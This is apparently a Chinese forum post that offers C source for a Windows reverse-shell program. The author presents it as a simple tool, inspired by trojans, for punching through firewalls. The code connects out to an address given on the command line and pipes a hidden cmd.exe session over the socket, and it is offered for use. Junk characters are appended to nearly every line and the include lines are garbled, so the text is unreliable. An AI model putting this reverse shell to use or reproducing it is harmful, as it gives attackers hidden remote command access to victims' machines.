这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yuWrU<Kw
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/* ============================== }z6HxB]$
Rebound port in Windows NT Y|bGd_j
By wind,2006/7 L[efiiLh$
===============================*/ p*G_$"KpP
#include z> SCv;Q
#include =Vfj#WL
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#pragma comment(lib,"wsock32.lib") pVM;xxJ
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void OutputShell(); ^;e`ZtcI
SOCKET sClient; /on p<u
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Fwtwf{9I
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void main(int argc,char **argv) Z2r\aZ-d`
{ gKnAw+u\
WSADATA stWsaData; l}{O
int nRet; HukHZ;5
SOCKADDR_IN stSaiClient,stSaiServer; GZo^0U,;
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if(argc != 3) $J+$8pA
{ mDhU wZH
printf("Useage:\n\rRebound DestIP DestPort\n"); :Wln$L$
return; =KMck=#B
} .(krB%N
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WSAStartup(MAKEWORD(2,2),&stWsaData); UqH7e c
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E[y?\{
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stSaiClient.sin_family = AF_INET; BFY~::<b
stSaiClient.sin_port = htons(0); R_ csKj
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4)?c[aC4P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GY>0v
{ mcvTz, ;=
printf("Bind Socket Failed!\n"); yq2Bz7P
return; Nt)9-\T
} t{ 'QMX
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stSaiServer.sin_family = AF_INET; GIp?}tM
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y]k`}&-~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '7$v@Tvnre
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) DwI)?a_+
{ 6*%lnd+_
printf("Connect Error!"); D:f#
return; HH dc[pJ0D
} ]l4\/EW6
OutputShell(); ,YH.n>`s+
} {)G3*>sG3
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void OutputShell() .Xr_BJ _
{ {\k9%2V*+
char szBuff[1024]; Mc.KLz&,FC
SECURITY_ATTRIBUTES stSecurityAttributes; ~"(1~7_
OSVERSIONINFO stOsversionInfo; `g #\ Ws
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y?> S.B7
STARTUPINFO stStartupInfo; dJkTHmw
char *szShell; :=* -x
PROCESS_INFORMATION stProcessInformation; V[%r5!83H
unsigned long lBytesRead; 3.>jagu
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tW(E\#!|p<
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @9^kl$
stSecurityAttributes.lpSecurityDescriptor = 0; v<O\ l~S
stSecurityAttributes.bInheritHandle = TRUE; <ioX|.7ZX
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t.m
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ivt\|
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2)G ZU
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X;- ,3dy
stStartupInfo.wShowWindow = SW_HIDE; 0KEytm]
stStartupInfo.hStdInput = hReadPipe; q.#aeqKBP
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Od"-w<'
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GetVersionEx(&stOsversionInfo); L&eO?I=,
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switch(stOsversionInfo.dwPlatformId) NKd):>d%
{ 9[:nWp^
case 1: /wmJMX
szShell = "command.com"; `toSU>:
break; kG%<5QH
default: 4*'NpqC(_
szShell = "cmd.exe"; <>-UPRwqI
break; -i9/1.Z
} bju0l[;=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ImgKqp0Z
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send(sClient,szMsg,77,0); r,F'Jd5
while(1) (33[N
{ p/@z4TCNX
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); { `-EX
if(lBytesRead) qlSMg;"Ghw
{ bBjVot
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E#T'=f[r~
send(sClient,szBuff,lBytesRead,0); Y5K!DMKY
} ')_jK',1
else AX6e}-S1n
{ 5^pQ=Sgt
lBytesRead=recv(sClient,szBuff,1024,0); =\`9 \Gd
if(lBytesRead<=0) break; SJw0y[IL6(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k/Cr ^J"
} L[IjzxUv
} m"u 9AOH k
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return; K?P.1H`
}